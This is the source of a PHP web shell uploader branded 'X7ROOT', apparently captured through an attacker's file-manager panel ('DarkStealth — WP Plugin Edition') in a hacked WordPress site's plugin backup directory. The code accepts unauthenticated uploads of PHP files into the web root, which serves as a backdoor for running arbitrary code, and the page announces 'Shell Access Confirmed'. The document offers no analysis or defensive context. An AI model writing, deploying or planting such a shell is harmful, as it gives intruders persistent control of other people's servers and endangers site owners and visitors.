📄 Viewing: shell.php
<?php
// X7ROOT Shell Uploader
if (isset($_POST['upload'])) {
$target_dir = __DIR__ . "/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$fileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 50000000) { // 50MB limit
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($fileType != "php" && $fileType != "txt" && $fileType != "html") {
echo "Sorry, only PHP, TXT & HTML files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". htmlspecialchars(basename($_FILES["fileToUpload"]["name"])). " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>X7ROOT Shell Uploader</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f1f1f1;
padding: 20px;
}
.container {
max-width: 600px;
margin: 0 auto;
background-color: white;
padding: 20px;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
}
h1 {
color: #333;
text-align: center;
}
.form-group {
margin-bottom: 15px;
}
label {
display: block;
margin-bottom: 5px;
font-weight: bold;
}
input[type="file"] {
display: block;
width: 100%;
padding: 8px;
border: 1px solid #ddd;
border-radius: 4px;
}
.btn {
background-color: #4CAF50;
color: white;
padding: 10px 15px;
border: none;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}
.btn:hover {
background-color: #45a049;
}
.result {
margin-top: 20px;
padding: 10px;
background-color: #f8f9fa;
border-left: 4px solid #4CAF50;
}
</style>
</head>
<body>
<div class="container">
<h1>X7ROOT Shell Uploader</h1>
<div class="result">
<strong>X7ROOT</strong> - Shell Access Confirmed
</div>
<form action="" method="post" enctype="multipart/form-data">
<div class="form-group">
<label for="fileToUpload">Select file to upload:</label>
<input type="file" name="fileToUpload" id="fileToUpload">
</div>
<div class="form-group">
<button type="submit" name="upload" class="btn">Upload File</button>
</div>
</form>
</div>
</body>
</html>
🌑 DarkStealth — WP Plugin Edition
Directory: /home/httpd/html/matrixmodels.com/public_html_hacked/wp-content/plugins.bak/xljrgvl